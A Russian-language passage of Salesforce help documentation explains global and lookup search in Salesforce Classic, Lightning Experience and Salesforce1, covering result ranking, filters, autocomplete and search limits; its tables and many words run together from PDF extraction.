индекс, поэтому поиск всегда ведется по одним и тем же данным. Пользователь видит в
мгновенныхрезультатаходинитотженабор записей, к которымнедавноосуществлялся
доступ. На результаты поиска влияет область поиска (список наиболее часто
используемых объектов). Тем не менее, помните, что приложения Salesforce1 и Lightning
Experienceподдерживаютневсе стандартныеобъекты, поэтомуиногдарезультатыпоиска
могутнемногоразличаться. Кроме того, ихинтерфейс глобальногопоиска такжеможет
отличаться некоторыми визуальными и навигационными различиями.

Полная
версия
системы
(Salesforce
Classic)

Полная
версия
системы
(Lightning
Experience)

Мобильное
веб-приложение
Salesforce1

Загружаемые
приложения
Salesforce1 для
устройств
Android и iOS

Функция

Поле поиска в
верхнем
колонтитуле.

Поле поиска в
верхнем
колонтитуле.

Значок поиска
в верхнем
колонтитуле.

Поле поиска
вверху меню
навигации
приложения
Salesforce1

Доступкпоиску

Недоступно.
Начните

Отображение
списка недавно

Отображение
списка недавно

Отображение
списка недавно

Мгновенные
результаты при

печатать, чтобыиспользованныхиспользованныхиспользованныхвыборе поля
поиска увидеть

мгновенные
результаты.

записейповсем
объектам.

записей для
объекта,
выбранного на
панелиобласти
поиска.

записейповсем
объектам.

Вводимые
символы

Вводимые
символы

Вводимые
символы

Вводимые
символы

Мгновенные
результаты по
мере ввода определяют

фильтрацию
определяют
фильтрацию

определяют
фильтрацию

определяют
фильтрацию

спискаспискаспискасписка
наиболее частонаиболее частонаиболее частонаиболее часто
используемых
записей.

используемых
записей. По
мере ввода

используемых
записей. По
мере ввода

используемых
записей.

списоксписок
начинает такженачинает также
отображатьотображать
совпадающиесовпадающие
записи, которыезаписи, которые
давно не
использовались.

давно не
использовались.
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Полная версия
системы (Salesforce
Classic)

Полная версия
системы (Lightning
Experience)

Мобильное
веб-приложение
Salesforce1

Загружаемые
приложения
Salesforce1 для
устройств Android и
iOS

Функция

Отображение первых
пяти записей для

Отображение
результатов для

Отображение
нескольких

Отображение первых
трех записей для

Полные результаты
поиска

каждого из недавнообъекта, выбранногорезультатов длякаждого из недавно
использованных
объектов.

Результаты
группируются по

на панели области
поиска. Список
«Популярные
результаты»
содержитпопулярные

объекта, выбранного
на панели области
поиска. Просмотр
дополнительных
результатов доступен

использованных
объектов.

Результаты
группируются по
объекту и объекту и

результаты для частопосле изменения
объекта.

Результаты
сортируются по
релевантности.

сортируются по
релевантности.

сортируются по
релевантности.используемых

объектов. Просмотр
дополнительных
результатов доступен
после изменения
объекта.

Результаты
сортируются по
релевантности.

Результаты могут
сортироваться по
заголовку столбца.

Фильтрация также
доступна, если она

Результаты могут
сортироваться по
заголовку столбца.

Результаты могут
сортироватьсяпотипу
поля.

Недоступно.Уточнение
результатов поиска

активирована
администратором.

Чтобы просмотреть
результаты поиска по

Чтобы просмотреть
результаты поиска по

Чтобы просмотреть
результаты поиска по

Глобальный поиск не
позволяет находить

Поиск по лентам

всей компании,ленте «Вся компания»,ленте «Вся компания»,сведения в лентах.
щелкните «Поиск повоспользуйтесьвыберите «Ленты» наВзамен
лентам» на странице
результатов поиска.

глобальным поиском
на начальной
странице вкладки

панели области
поиска со страницы
результатов поиска.

воспользуйтесь
поиском по лентам.
Чтобы
воспользоваться «Ленты». Если поиск
полем поиска, не выполнялся на
потяните пальцем начальной странице
вниз верхний край
страницы «Лента».

вкладки «Ленты»,
выберите «Ленты» на
панели области
поиска.

194

Различия в поиске между Lightning Experience, Salesforce
Classic и Salesforce1

Основы Salesforce



Полная версия
системы (Salesforce
Classic)

Полная версия
системы (Lightning
Experience)

Мобильное
веб-приложение
Salesforce1

Загружаемые
приложения
Salesforce1 для
устройств Android и
iOS

Функция

Боковая панель и
расширенный

Выдаетрезультатыдля
первых 100 символов
поискового термина.

Выдаетрезультатыдля
первых 100 символов
поискового термина.

iOS: Глобальный
поиск выдает
результатыдляпервых

Символы поискового
термина

поиск: Выдает
155 символов результатыдляпервых
поискового термина. 80 символов

поискового термина.Поиск ленты выдает
результатыпервых 100
символов.

Глобальный поиск:
Выдаетрезультатыдля
первых 100 символов
поискового термина.

Android: выдает
результаты
поискового термина,
независимо от
количества символов.

Как выполнить поиск в полях поиска?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме
Database.com.

Рекомендуем использовать поиск для связывания двух записей.

Доступно в
Lightning
Experience?

Доступно в
Salesforce Classic?

ОпределениеТермин

НетДаИщет
ограниченный
набор полей для
каждого объекта,
например поле с

Стандартный поиск

именем. В
результаты
попадают 50
записей. Результаты
не поддерживают
сортировку,
фильтрацию и
настройкустолбцов.

Да, но фильтрация
недоступна.

Да, если включено
администратором.

Ведет поиск
большего числа
поля для каждого

Расширенныйпоиск

объекта. Критерии
поискаразбиваются
на отдельныечасти,
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Доступно в Lightning
Experience?

Доступно в Salesforce
Classic?

ОпределениеТермин

что позволяет находить
лучшие совпадения и,
соответственно, результаты.
На результаты не действует
ограничение поиска, и их
можно обновлять.

Да. Вводимые символы
определяют фильтрацию

Да, если включено
администратором.

При вводе текста в поле
поиска будет отображаться

Автозаполнение поиска
(мгновенные результаты)

списка наиболее частоВводимые символыдинамический список
подходящих записей. используемых записей. По

мере ввода список начинает
определяют фильтрацию
списка наиболее часто
используемых записей. также отображать

совпадающие записи,
которые давно не
использовались.

ДаДа, если включено
администратором.

Заданныеадминистратором
фильтры, ограничивающие
допустимые значения и

Связанные фильтры поиска

результатыпоискадляполей
в окнах расширенного
поиска. Может быть
обязательным.

Например, можнонастроить
поле поиска
Ответственный за
организацию так, чтобы
отображались только
активныепользователивтой
же записи.

НетДа, если включено
администратором.

Заданныеадминистратором
фильтры, ссылающиеся на
поля записи текущего

Зависимые фильтры поиска

объекта (исходник) для
диалогового окна
расширенного поиска.
Может быть обязательным.

Например, полеобращения
«Контакт» может быть
настроено таким образом,
чтобыотображались только
те контакты, которые
связаны с организацией,
указаннойвполеобращения
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Доступно в Lightning
Experience?

Доступно в Salesforce
Classic?

ОпределениеТермин

«Имяорганизации» тойже
записи.

Да, но результаты
глобального и

ДаВ программе настройки
администраторы

Диалоговые окна поиска
(макет)

подстановочного поискаопределяютполя, доступные
объединяются в макетев пределах макета окна
«Результаты поиска».поиска. Пользователимогут
Функция «Мои столбцы»
недоступна.

добавлять и убирать поляиз
списка, используя «Мои
столбцы». Пользователи не
могут добавлять
дополнительные поля, не
определенные
администраторами в макете
поиска.

НетДа, если включено
администратором.

В программе настройки
администраторы
определяютполя, доступные

Поляфильтрапоиска (макет)

для фильтрации в ходе
расширенного поиска.

Пользователи работают с
фильтрами, используя
функцию «Показать
фильтры» в окне поиска.
Пользователи не могут
добавлять дополнительные
поля, не определенные
администраторами в макете
поиска.

Поиск посредством диалогового окна поиска в Salesforce Classic

Поля поиска позволяют связывать между собой две записи. Например, запись контакта содержит поле поиска
организации, которое связывает контакт с организацией.

Поиск в Lightning Experience

Поля поиска позволяют связывать между собой две записи. Например, запись контакта содержит поле поиска
организации, которое связывает контакт сорганизацией. Привыполнениипоискапообъектам, доступнымдляпоиска,
критериисопоставляютсясовсемиполямизаписи, доступнымидляпоиска, ане толькоименемзаписи. Приотсутствии
нужной записи в автоматически подобранныхмгновенных результатах рекомендуем выполнить полныйпоиск. При
отсутствиинужнойновойзаписиврезультатахпоискарекомендуемподождать 15 минутиповторитьпопытку. Данный
раздел содержит ответы на некоторые типичные вопросы пользователей о поисках.
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Поиск посредством диалогового окна поиска в Salesforce Classic

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях: All
Editions except
Database.com

Поля поиска позволяют связывать между собой две записи. Например, запись контакта
содержит поле поиска организации, которое связывает контакт с организацией.

Поиск посредством диалогового окна поиска
Как правило, объекты Salesforce содержат поля поиска, позволяющие связывать между
собойдве записи. Например, запись контакта содержитполепоиска «Организация»,
которое связывает контакт с организацией.

Советы по использованию стандартных и расширенных поисков
Нижеперечисленырекомендациипоиспользованиюстандартныхирасширенных
поисков.

Автозаполнение полей поиска
Если данная возможность включена администратором, то поля поиска поддерживают автозаполнение.

Поиск посредством диалогового окна поиска

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: All
Editions except
Database.com

Как правило, объекты Salesforce содержат поля поиска, позволяющие связывать между
собой две записи. Например, запись контакта содержит поле поиска «Организация»,
которое связывает контакт с организацией.

Поля поиска отличаются наличием кнопки на страницах редактирования сведений

о записях. При нажатии значка открывается диалоговое окно поиска, позволяющее
находить записи, которыедолжныбыть связанысредактируемойзаписью. Принажатии
значка поиска без ввода поискового запроса выполняется пустой поиск.

Система Salesforce поддерживает два типа поисков.

Стандартные поиски
Поумолчаниювсеполяпоискаиспользуютстандартныйдиалоговыйпоиск. Привыполнениистандартныхдиалоговых
поисков система Salesforce опрашивает ограниченный набор полей каждого объекта, доступных для поиска.
Одновременно результаты поиска содержат не более 50 записей. Стандартные объекты отображаются по алфавиту.
Настраиваемыеобъектыотображаютсяподатепоследнегопросмотра. Результатыпоисканеподдерживаютсортировку,
фильтрацию и настройку столбцов.

Расширенные поиски
Расширенныедиалоговыепоиски, включенныеадминистратором, используютсясистемой Salesforce дляопросаполей
поиска организаций, контактов, возможностей, пользователей и настраиваемых объектов. Вотличие от стандартных
поисков, расширенные поиски позволяют использовать дополнительные возможности поиска.

• По умолчанию расширенные поиски обрабатывают ограниченный набор полей (или поля «Имя») для каждого
объекта. Припоиске записи, возвращающембольшое количество совпадений (например, широко используемое
имя контакта), результаты могут быть уточнены путем обработки всех полей, доступных для поиска. Установите
флажок «Все поля» (при его наличии) в диалоговом окне расширенного поиска и введите другие уникальные
критерии поиска (например, адрес эл. почты контакта).

• Поисковые запросы расширенного поиска разбиваются на отдельные критерии, содержащие любыефрагменты
из алфавитных, числовых или специальных символов. Например, при вводе критерия ALL4ONE в поле
расширенного поиска система выполняет поиски по критериям ALL, 4 иONE. Соответственно, при вводе критерия
ALL and 4 and ONE системавозвращаетрезультатыдляALL4ONE. Крометого, поискпозапросу S& возвращает
поля, содержащие S& и &S.
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• Пользователи могут сортировать и фильтровать результаты расширенных диалоговых поисков. Пользователи
могут скрывать и систематизировать столбцы, отображаемые в окне результатов.

Прим.: Помимо фильтров, контролируемых пользователями, администраторы могут создавать фильтры
поискадляполейвзаимосвязи, которыеограничиваютдопустимыезначенияврезультатахдиалоговогоокна
поиска по полю.

• Расширенные поиски возвращают все записи, соответствующие критериям поиска, и позволяют пролистывать
большие наборы результатов поиска.

Прим.: Система Salesforce возвращает совпадения для настраиваемого объекта только при наличии связанной
настраиваемой вкладки. Данная вкладка может не отображаться.

Привыполнении пустогопоискаотображает списоквсехнедавноиспользованныхзаписей. Результатыпоискаразличаются
для некоторых типов объектов:

• Пристандартныхпоискахпродуктовиочередейдиалоговоеокноотображаеталфавитныйсписокпервых 50 записей.

• При стандартных поисках кампаний диалоговое окно отображает первые 100 активных кампаний.

• При стандартных поисках активов для обращений диалоговое окно отображает все активы, связанные с контактом
обращения.

• При стандартных или расширенных поисках пользователей диалоговое окно отображает список недавно
просмотренных записей пользователей организации.

Советы по использованию стандартных и расширенных поисков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: All
Editions except
Database.com

Ниже перечислены рекомендации по использованию стандартных и расширенных
поисков.

• При использовании стандартных поисков специальный символ автоматически
добавляется к каждомупоисковому запросу. Например, поискпо запросу «иван пет»
подразумеваетпоискпо запросам «иван*» и «пет*», поэтомувозвращает элементы,
содержащие «иван петров», «иванушка петров» или «иван петухов». При необходимости
символ «*» может быть добавлен в критерий поиска самостоятельно.

• Прииспользованиирасширенныхпоисковспециальныйсимволнеможет заменять
начальный символ поискового запроса илифразы, а сами поиски могут возвращать
большое количество результатов по поисковым запросам, содержащим буквы, цифры и специальные символы.

• При вводе значения в текстовое поле поиска и сохранении записи без нажатия значка поиска ( ) система Salesforce
автоматически выполняет поиск посредством стандартного окна поиска. При обнаружении точного совпадения
системасохраняетданное значениевполепоискадажеприналичиидругихчастичныхсовпадений. Приобнаружении
только частичных совпадений система Salesforce предлагает пользователю выбрать нужное значение из
раскрывающегося списка совпадений. При отсутствии совпадений система отображает ошибку.

• Чтобы выполнить поиск по контактам, интересам, пользователям или другим лицам, поле «Личное имя» или
«Фамилия» которых содержит пробелы, введите кавычки вокруг поискового запроса.

Например, чтобы найти пользователя по фамилии фонМюллер, введите запрос "фон Мюллер".

• Если организация использует клиентский или партнерский портал Salesforce, то результаты, отображающиеся в
диалоговомокне поиска пользователя, могут быть отфильтрованыпутем выбора очередиили группыпользователей
в раскрывающемся списке «Ответственный» или «Назначено».
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• Если организация использует подразделения, а пользователю предоставлено полномочие «В зависимости от
подразделений», то результаты поиска посредством диалогового окна поиска содержат записи подразделения,
выбранного в диалоговом окне поиска.

Автозаполнение полей поиска

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: All
Editions except
Database.com

Если данная возможность включена администратором, то поля поиска поддерживают
автозаполнение.

Стандартные и расширенные поиски могут отображать динамический список
совпадающих недавних записей при редактировании поля поиска. Список
ограничиваетсяобъектамисоответствующеготипаисодержитнедавноиспользованные
элементы (кроме поисков пользователей). Например, при редактировании поиска по
организациямсистемапозволяетпросматриватьнедавноиспользованныеорганизации,
имена которых соответствуют введенному префиксу. Данный список не отображает
недавно использованные контакты.

Ниже перечислены ограничения, применяемые к функции автозаполнения полей поиска.

• Автозаполнениеполейпоиска выполняется толькоприналичиинедавнопросмотренныхзаписейсоответствующего
типа.

• Поле поиска должно редактироваться на странице редактирования сведений о записи.

Всплывающиесведенияотображаются толькодляполейпоиска тех типовобъектов, которыедобавленывспискинедавно
использованных записей. Например, продукты отсутствуют в списке недавно использованных записей, поэтому
всплывающие сведения не отображаются для поля поиска продуктов.

Поиск в Lightning Experience

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com.

Поля поиска позволяют связывать между собой две записи. Например, запись контакта
содержит поле поиска организации, которое связывает контакт с организацией. При
выполнении поиска по объектам, доступным для поиска, критерии сопоставляются со
всемиполямизаписи, доступнымидляпоиска, анетолькоименемзаписи. Приотсутствии
нужной записи в автоматически подобранных мгновенных результатах рекомендуем
выполнить полный поиск. При отсутствии нужной новой записи в результатах поиска
рекомендуемподождать 15 минутиповторитьпопытку. Данныйраздел содержитответы
на некоторые типичные вопросы пользователей о поисках.

Почему результаты не отображаются в раскрывающемся списке?

Пустоераскрывающеесяменюотображаетсяпривыбореобъекта, недоступногодляпоиска ворганизации, илизаписи,
которая не просматривалась ранее.

Можно ли использовать поиск по частично совпадающим критериям?

Чтобы найти нужную запись, введите полный критерий поиска. Поиск посредством диалогового окна поиска не
поддерживает автоматические поиски по частично совпадающим критериям при наличии конечных специальных
символов. Данный алгоритм препятствует отображению нежелательных результатов.

Что определяет дополнительное поле под именем записи?

Если возможно, то в поиске будет показано вторичное поле под основным именем записи для предоставления
дополнительной контекстной информации. Например, расположениеСан-Франциско, отображаемое под компанией
Acme, Inc., позволяетразличатьпохожиеименазаписейивыбиратьнужнуюзапись. Дополнительныеполянастраиваются
администратором при выборе полей записей и порядка их отображения.
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Какие поля охватываются поиском из диалогового окна поиска?
Когда вы начинаете вводить критерии в поле поиска, отображается список вариантов автозаполнения. Эти
моментальные результаты являются совпадениями критерия поиска с полем имени типа записи. Однако, если
выполнить полный поиск, возвращенные результаты будут совпадать с критерием поиска по всем доступным для
поиска полям объекта. Этот алгоритм аналогичен алгоритму получения результатов глобального поиска.

СМ. ТАКЖЕ:

Как уточнить результаты поиска в Lightning Experience?

Какие результаты отображаются по мере ввода критерия поиска в поле поиска?

Почему результаты не отображаются в раскрывающемся списке?

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com.

Пустое раскрывающееся меню отображается при выборе объекта, недоступного для
поиска в организации, или записи, которая не просматривалась ранее.

Можно ли использовать поиск по частично совпадающим критериям?

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com.

Чтобы найти нужную запись, введите полный критерий поиска. Поиск посредством
диалогового окна поиска не поддерживает автоматические поиски по частично
совпадающим критериям при наличии конечных специальных символов. Данный
алгоритм препятствует отображению нежелательных результатов.

Что определяет дополнительное поле под именем записи?

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com.

Если возможно, то в поиске будет показано вторичное поле под основным именем
записи для предоставления дополнительной контекстной информации. Например,
расположениеСан-Франциско, отображаемоеподкомпаниейAcme, Inc., позволяетразличать
похожиеименазаписейивыбиратьнужнуюзапись. Дополнительныеполянастраиваются
администратором при выборе полей записей и порядка их отображения.
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Какие поля охватываются поиском из диалогового окна поиска?

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях: All
Editions except
Database.com

Когда вы начинаете вводить критерии в поле поиска, отображается список вариантов
автозаполнения. Этимоментальныерезультатыявляютсясовпадениямикритерияпоиска
с полем имени типа записи. Однако, если выполнить полный поиск, возвращенные
результаты будут совпадать с критерием поиска по всем доступным для поиска полям
объекта. Этот алгоритм аналогичен алгоритму получения результатов глобального
поиска.

Результаты поиска

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме
Database.com.

В большинстве случаев вы быстро найдете искомую запись, просто изучив лучшие
результаты, посколькуонисортируютсяпостепениважностидля каждогопользователя.
Изучите принцип возврата определенных записей и поймите, как получать лучшие
результаты.

Как упорядочиваются результаты поиска?
Механизм поиска сортирует результаты по степени важности на основе частоты,
порядка и уникальности поискового термина, действий записи и пользователя, а
такжеполномочийдоступа. Релевантностьрезультатапоискаможетразличаться для
каждого пользователя.

Как уточнить результаты поиска?
Следуйте этим рекомендациям, чтобы быстро найти записи на странице результатов поиска.

Какие вариации критерия поиска можно увидеть в результатах поиска?
Результаты содержат расширенные варианты для соответствующих и сходных критериев, полученные с помощью
лемматизации (соответствия для корневой формы слова), групп синонимов, прозвищ и исправления ошибок.

Какие результаты отображаются по мере ввода критерия поиска в поле поиска?
Помереввода критерияпоиска вполе глобальногопоискаотображается список автоматическиподобранныхзаписей.
Данные мгновенные результаты позволяют быстро находить нужную запись без выполнения полного поиска.

Как упорядочиваются результаты поиска?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме
Database.com.

Механизмпоиска сортируетрезультатыпостепениважностинаосновечастоты, порядка
и уникальности поискового термина, действий записи и пользователя, а также
полномочий доступа. Релевантность результата поиска может различаться для каждого
пользователя.

Приоритеты и фильтры
Поисковаясистемаиспользуетмногофакторовдляранжированиязаписей. Этифакторы
не отображаются в порядке их применения или по степени важности.

Частота
Определение приоритета записей, содержащих больше экземпляров поисковых терминов. Кроме того, записи,
содержащие все или большую часть введенных поисковых терминов, отображаются выше.
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Уникальность
Приоритизация записей, содержащих уникальные термины (допуская, что уникальность увеличивает вероятность
совпадения).

Расположение
Приоритизация записей, содержащих поисковый термин в полях имени, заголовка или типа темы.

Близость
Приоритизация записей, содержащих поисковые термины как можно ближе друг к другу. Записи, содержащие
одинаковую последовательность терминов, отображаются выше. Аналогично, если отдельная буквенно-цифровая
строка индексируется посредством нескольких маркеров, то точные совпадения отображаются выше совпадений с
промежуточными словами.

Ответственность
Приоритизация собственных записей.

Длина
Нормализация количества экземпляров термина в записи во избежание неоправданного приоритета длинных
документов над короткими. Данный приоритет применяется только к записям Salesforce Knowledge.

Вложение записи
Нормализует количество экземпляров критериев во вложении. Вложениямсбольшимчисломэкземпляров критерия
поиска не дается неоправданный приоритет над более подходящими записями с меньшим числом экземпляров.
Применяется только к записям Salesforce Knowledge.

Действия записи
Приоритизация часто просматриваемых или редактируемых записей и записей с большим количеством связанных
записей (например, связанные списки). Дата создания данных не влияет на приоритет результата.

Действия пользователя
Приоритизация недавно просмотренных или отредактированных записей.

Доступ
Отображение только записей, доступных для просмотра.

Почему разным пользователям отображаются разные результаты?

Результаты поиска подгоняются под пользователя, выполняющего эту операцию.

• Полномочия доступа определяются профилями пользователей. Запись, недоступная текущему пользователю, но
доступная другим пользователям, отображается только им.

• Ответственность за запись поднимает записи в результатах поиска. Собственная запись отображается в результатах
поиска выше.

• Журнал просмотра или редактирования записи поднимает записи в результатах поиска. Запись, просмотренная или
отредактированная недавно, отображается в результатах поиска выше.

• Журнал объекта поднимает записи в результатах поиска. Записи часто используемых типов объектов отображаются
в результатах поиска выше.
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Как уточнить результаты поиска?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме
Database.com.

Следуйте этим рекомендациям, чтобы быстро найти записи на странице результатов
поиска.

Как уточнить результаты поиска в Salesforce Classic?

Ниже перечислены рекомендации по сортировке и фильтрации результатов для
быстрого поиска записей.

Как уточнить результаты поиска в Lightning Experience?

Нижеперечисленырекомендациипоиспользованиюстраницырезультатовпоиска
для быстрого поиска записей.

Как уточнить результаты поиска в Salesforce Classic?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com.

Нижеперечисленырекомендациипосортировкеифильтрациирезультатовдлябыстрого
поиска записей.

При использовании поля глобального поиска поиск выполняется по всем объектам и
разным типам полей записи, включая настраиваемые поля и поля подробного текста.
При вводе нескольких критериев возвращаются результаты, содержащие все критерии
поиска, то есть количество записей может быть очень большим. Ниже перечислены
некоторые стратегии уточнения поиска после выполнения полного поиска.

Поиск по всем записям
По умолчанию поиск возвращает результаты для объектов, используемых чаще
всего. Чтобы выполнить поиск по другим объектам, воспользуйтесь параметром «Искать все». При отсутствии
параметра «Искать все»функция глобального поиска не располагает достаточными сведениями об используемых
объектах. Результаты поиска отображают все объекты.

Фиксация
Наведитеуказательмышиизакрепитеважныеобъектывверхнейчастиспискарезультатовпоиска. Принеобходимости
фиксация может быть отменена, а порядок отображения объектов изменен. Фиксация предназначена для объектов,
которые используются реже других.

Фильтр

• Чтобы ограничить область поиска собственными элементами, точнымифразами и подразделениями (при их
наличии), выберите «Параметры...».

• Чтобы отфильтровать результаты поиска, выберите «Показатьфильтры» (если доступно).

• Если это возможно, используйтеМои столбцы, чтобы изменить отображаемые столбцы с помощью списка
Выбранные поля изДоступных полей.

Прим.: Ваш администратор определяет доступность полей фильтрации и изменяемых столбцов в макете
поиска. Есливашадминистраторне создастмакетпоискаилимакетынедоступныдляобъекта, торезультаты
поисканельзяфильтроватьилиизменятьвнихстолбцы. Фильтрынедоступнынаклиентскихилипартнерских
порталах.
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Дополнительные рекомендации

• Убедитесь, что выбрана нужная область поиска. При необходимости измените область поиска на левой панели
навигации.

• Проверьте орфографиюи убедитесь, что введенный критерий поиска является полным. Или попробуйте ввести
более точный критерий поиска.

• Недавно созданная запись или запись, измененная несколько раз, отображается в результатах поиска спустя
некоторое время. Индексация (процесс, разрешающий доступность записи для поиска) может занять 15 минут.

Поиск в Salesforce Classic

СМ. ТАКЖЕ:

Почему некоторые функции не отображаются?

Как уточнить результаты поиска в Lightning Experience?

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com.

Нижеперечисленырекомендациипоиспользованиюстраницырезультатовпоиска для
быстрого поиска записей.

Сортировка результатов
Результатыможнополучить, используяраскрывающеесяменюсортировки. Вменю
приведенывсе столбцыизмакетапоиска в дополнениекСоответствие. Выполните
сортировку, выбрав элемент в раскрывающемся меню. Илищелкните по заголовку
столбца.

Сортировка результатов полезна, если на странице результатов поиска слишком
много записей.

Если макет поиска содержит только несортируемые поля, то соответствующая кнопка будет отключена.

Наиболее подходящие результаты приведены на одной странице — «Популярные результаты»
Страница результатов поиска «Популярные результаты» содержит самые важные результаты для каждого из часто
используемых объектов.

Рекомендуемиспользоватьданнуюстраницудляпросмотрарезультатовпоотдельномукритериюпоискабез выбора
конкретноготипаобъекта. Например, выполнитепоискпокритериюAcme Inc.ипросмотритенайденныеорганизации,
интересы и возможности на странице «Популярные результаты». В зависимости от того, какие объекты чаще
используются, страница «Популярные результаты» каждого пользователя отображает разные записи. Ссылка
«Подробнее» позволяет просматривать дополнительные результаты для объекта.

Смотрите все публикации компании в разделе «Ленты».
Если включено администратором, то страница результатов поиска «Ленты» содержит сообщения из ленты «Вся
компания», которые соответствуют введенному критерию поиска.

Рекомендуемиспользоватьданнуюстраницудляпоиска сообщения, подлежащегоповторномупросмотру. Например,
выполните поиск сообщения о новом обучающем видеоролике, опубликованного пользователем, имя которого не
помните.

Фильтрация результатов по объектам с помощьюпанели области поиска
Удобный и быстрый доступ к часто используемым объектам. Панель области поиска, расположенная под полем
глобального поиска, позволяет быстро просматривать отфильтрованные результаты по объекту. Чтобы увидеть
результаты для объекта, щелкните его имя.

Например, при поиске контакта на начальной странице вкладки «Организации» и открытии соответствующей
страницы результатов поиска. Щелкните объект «Контакты» для просмотра результатов поиска по контактам.
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Смотрите все доступные объекты под разделом «Больше».
При отсутствии нужного объекта на панели области поиска выберите параметр «Больше» для просмотра списка
всех доступных объектов. Часто используемые объекты, которые не помещаются на панели области поиска,
отображаются вверху списка объектов «Больше». Чтобы найти объект, прокрутите вниз алфавитный список.

Дополнительные рекомендации

• Проверьте орфографиюи убедитесь, что введенный критерий поиска является полным. Или попробуйте ввести
более точный критерий поиска.

• Недавно созданная запись или запись, измененная несколько раз, отображается в результатах поиска спустя
некоторое время. Индексация (процесс, разрешающий доступность записи для поиска) может занять 15 минут.

Search in Salesforce Lightning Experience

СМ. ТАКЖЕ:

Почему некоторые функции не отображаются?

Какие вариации критерия поиска можно увидеть в результатах поиска?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме
Database.com.

Результатысодержатрасширенныевариантыдлясоответствующихисходныхкритериев,
полученныеспомощьюлемматизации (соответствиядля корневойформыслова), групп
синонимов, прозвищ и исправления ошибок.

Лемматизация
При выполнении поиска слово сначала усекается до основы. Затем поиск возвращает
совпадения для расширенных форм. Данный алгоритм применяется только к типу
искомого вами слова. Поиск существительного возвращает варианты формы
существительного; поиск глаголавозвращаетвариантыформыглагола. Например, поиск
по запросу «бег» возвращает элементы, содержащие слова «бегать», «бегун» и «бегом».

Совпадения по формам поискового термина отображаются в результатах поиска под точными совпадениями.

Ниже перечислены поддерживаемые объекты.

• Статья

• Файл

Ниже перечислены поддерживаемые языки.

• Китайский

• Датский

• Голландский

• Английский

• Французский

• Немецкий

• Итальянский

• Японский

• Корейский

• Норвежский
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• Португальский

• Русский

• Испанский

• Шведский

• Тайский

Группы синонимов
Группы синонимов содержат слова и фразы, которые в ходе поиска учитываются одинаково. Поиск одного термина из
группы синонимов возвращает все термины группы. Например, поискUSB вернет результаты для всех терминов в группе
синонимов, которая содержит термины USB, флэш-накопитель, флэшка и карта памяти.

Ниже перечислены поддерживаемые объекты.

• Статья базы знаний

• Обращение

• Лента Chatter

• Файл

• Идея

• Вопрос

Исправление ошибок
Если введен критерийпоиска, не давшийникакихрезультатов, поисковая системапроверяет орфографиюивозвращает
результаты на основе исправленного критерия.

Ниже перечислены поддерживаемые объекты.

• Статья базы знаний

• Группа Chatter

• Лента Chatter

• Файл

• Вопрос

Ниже перечислены поддерживаемые языки.

• Английский

Псевдонимы
Не можете запомнить прозвище пользователя? Просто выполните поиск по имени, а возвращенные результаты будут
содержать совпадения для связанных прозвищ. Например, поиск по запросу «Миша Петров» возвращает совпадение
для имени «МихаилПетров».

Ниже перечислены поддерживаемые объекты.

• Организация

• Контакт

• Интерес

• Пользователь
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Ниже перечислены поддерживаемые языки.

• Английский

Какие результаты отображаются по мере ввода критерия поиска в поле поиска?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме
Database.com.

По мере ввода критерия поиска в поле глобального поиска отображается список
автоматическиподобранныхзаписей. Данныемгновенныерезультатыпозволяютбыстро
находить нужную запись без выполнения полного поиска.

Мгновенные результаты появляются только для записей в объектах, доступных для
поиска.

Отображаемые результаты содержат записи, которые просматривались недавно или
соответствуют введенному критерию поиска. При отсутствии нужной записи в
мгновенных результатах рекомендуем выполнить полный поиск для отображения
дополнительных результатов.

Ниже перечислены объекты, поиск по которым возвращает мгновенные результаты,
содержащие стоп-слова (например, «как» и «в»).

• Организация

• Кампания

• Обращение

• Контакт

• Контракт

• Настраиваемые объекты

• Подтверждение

• Копилка

• Цель

• Интерес

• Возможность

• Заказ

• Награда

• Навык

• Тема

• Пользователь

Ограничения для поиска в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com.

При использовании глобального поиска, поиска на боковой панели, расширенного
поиска, структурированных запросов, списковых представлений и фильтров
применяются некоторые ограничения.

Chatter и глобальный поиск
Включение Chatter инициирует включение функций глобального поиска и поиска по
лентам, но выключение функции поиска на боковой панели и расширенного поиска.
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Функция глобального поиска может использоваться только после включения поддержки Chatter администратором
организации. Параметры поиска недоступны пользователям Chatter Free.

Область поиска не влияет на поиск в лентах Chatter, что включает совпадения для публикаций по всем объектам.

Поиск на боковой панели и расширенный поиск
Таблица ниже содержит основные различия между функциями поиска на боковой панели и расширенного поиска.

Расширенный поискПоиск на боковой панелиФункция

Ссылка на расширенный поиск при
выполнении поиска на боковой
панели.

При наличии доступа отображается в
левойчастистраницы. Боковойпанели
может быть разрешено свертывание.

Расположение

Ведется поиск по всем типам
настраиваемых полей. Поиск по

Ведет поиск по всем типам
настраиваемыхполей, заисключением

Поля и вложения записей

стандартным полям варьируется в
зависимости от объекта.

типов «текстовая область», «область
подробного текста» и «область
обогащенного текста». Поиск по
стандартным полям варьируется в
зависимости от объекта. Поиск во
вложениях не ведется.

Выберите как минимум один объект
для ограничения области поиска.

Выберите один объект для
